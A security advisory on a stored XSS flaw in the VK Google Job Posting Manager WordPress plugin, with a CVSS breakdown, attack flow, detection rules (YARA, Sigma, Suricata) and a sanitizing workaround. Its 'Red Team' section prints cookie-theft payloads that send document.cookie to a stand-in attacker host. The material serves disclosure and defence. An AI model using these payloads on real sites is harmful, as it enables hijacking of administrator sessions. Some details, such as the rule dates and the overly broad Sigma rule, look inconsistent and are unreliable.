CVE-2025-68070

Executive Summary

CVE-2025-68070 is a Stored Cross-Site Scripting (XSS) vulnerability in the VK Google Job Posting Manager WordPress plugin (slug: vk-google-job-posting-manager), developed by Vektor,Inc. The vulnerability affects all versions up to and including 1.2.22. An authenticated attacker with contributor-level privileges or higher can inject arbitrary JavaScript into job posting fields, which is then stored and executed in the browsers of other users (including administrators) when the malicious content is rendered. This can lead to session hijacking, credential theft, or defacement. No public exploit code or proof-of-concept is currently available, and no official patch has been released. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant for sites using this plugin.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. Since no patch is available, site administrators must consider removing or disabling the plugin until a fix is released. The plugin is not available on NPM, PyPI, Go, or Ruby ecosystems.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level WordPress user)
• User Interaction: Required (Victim must view the malicious page)
• Scope: Changed (Impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. While the CVSS score is moderate, the stored nature of the XSS and the lack of a patch elevate the risk for WordPress sites using this plugin.

Deep Dive & Mechanics

The vulnerability stems from improper neutralization of user-supplied input in the job posting fields of the VK Google Job Posting Manager plugin. When a user with contributor-level access or higher creates or edits a job posting, the plugin fails to sanitize or escape certain input fields before storing them in the database. When an administrator or other user views the job listing, the unsanitized input is rendered in the browser, allowing arbitrary JavaScript execution.

Attack Flow:

1. An attacker with contributor-level privileges logs into the WordPress admin panel.
2. The attacker creates a new job posting and injects a malicious payload (e.g., <script>alert('XSS')</script>) into a vulnerable field (e.g., job title, description, or custom meta fields).
3. The plugin stores the payload in the WordPress database without proper sanitization.
4. When an administrator or other user views the job posting (either in the admin panel or on the frontend), the payload executes in their browser.
5. The attacker can then steal cookies, session tokens, or perform actions on behalf of the victim.

Root Cause: The plugin likely uses echo or the_content filter without applying esc_html() or wp_kses() to user input. The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation).

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common remediation patterns.

Vulnerable Code (hypothetical):

// In a template file or shortcode handler
echo $job_title; // Unsanitized output

Patched Code (hypothetical):

// Properly escape output
echo esc_html( $job_title );

Explanation: The vulnerable code directly outputs user-supplied data without escaping. The patched code uses esc_html() to convert special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Since no public exploit code is available, the following is a conceptual demonstration.

Prerequisites:

• A WordPress site with VK Google Job Posting Manager <= 1.2.22 installed and activated.
• A user account with at least Contributor-level privileges.

Steps:

1. Log in as a contributor.
2. Navigate to the job posting creation page (e.g., /wp-admin/post-new.php?post_type=job).
3. In the job title field, enter the following payload:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Publish the job posting.
5. When an administrator views the job listing, the script executes and sends their session cookie to the attacker's server.

Example Payloads:

• Cookie theft: <script>new Image().src='https://attacker.com/log?c='+document.cookie</script>
• Defacement: <script>document.body.innerHTML='<h1>Hacked</h1>'</script>

Blue Team (Detection & Prevention)

Detection:

• Monitor WordPress admin logs for unusual job posting activity from low-privileged users.
• Scan the database for suspicious <script> tags in the wp_posts table (specifically in post_title and post_content columns for job postings).
• Use a Web Application Firewall (WAF) to block common XSS patterns.

Prevention:

• Immediately disable or remove the plugin until a patch is released.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Restrict contributor-level users from creating job postings if not necessary.

Indicators of Compromise (IOCs)

• File Indicators:

  • Presence of the plugin directory: /wp-content/plugins/vk-google-job-posting-manager/
  • Version file: /wp-content/plugins/vk-google-job-posting-manager/readme.txt (contains version string)

• Network Indicators:

  • Outbound HTTP requests to unknown domains containing cookie data (e.g., GET /steal.php?cookie=...).
  • Unusual referrer headers from the WordPress admin panel.

• Database Indicators:

  • Rows in wp_posts where post_type = 'job' and post_content or post_title contains <script> tags.

• Log Indicators:

  • WordPress debug log entries showing unexpected output or errors related to the plugin.
  • Web server access logs showing requests to job posting URLs with encoded JavaScript.

Detection Engineering

YARA Rule

rule CVE_2025_68070_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in VK Google Job Posting Manager plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-68070"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $plugin_path = "vk-google-job-posting-manager"
    condition:
        $plugin_path and #xss_payload > 0
}

Sigma Rule

title: Stored XSS in VK Google Job Posting Manager
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects potential stored XSS payloads in job postings created by the VK Google Job Posting Manager plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/post.php'
        cs-uri-query|contains: 'post_type=job'
        cs-uri-query|contains: 'action=edit'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in job descriptions (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-68070 Stored XSS - Outbound Cookie Theft"; flow:to_server,established; content:"GET"; http_method; content:"/steal.php?cookie="; http_uri; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin: Deactivate and delete the VK Google Job Posting Manager plugin from all WordPress installations.
2. Audit existing content: Scan the database for any stored XSS payloads in job postings and remove them.
3. Change credentials: If any administrator accounts were compromised, reset passwords and session tokens.

Long-term Mitigation:

• Monitor the plugin's official page for a patched version (>= 1.2.23).
• Implement a Web Application Firewall (WAF) with XSS detection rules.
• Enforce the principle of least privilege: restrict contributor-level users from creating or editing job postings.
• Regularly update all WordPress plugins and themes.

Workaround (if plugin must remain active):

• Add a custom function to the theme's functions.php to sanitize job posting fields:

  add_filter( 'wp_insert_post_data', 'sanitize_job_post_data', 10, 2 );
  function sanitize_job_post_data( $data, $postarr ) {
      if ( $data['post_type'] === 'job' ) {
          $data['post_title'] = sanitize_text_field( $data['post_title'] );
          $data['post_content'] = wp_kses_post( $data['post_content'] );
      }
      return $data;
  }
  

Valters IT
DevSecOps & Cyber Threat Intelligence Division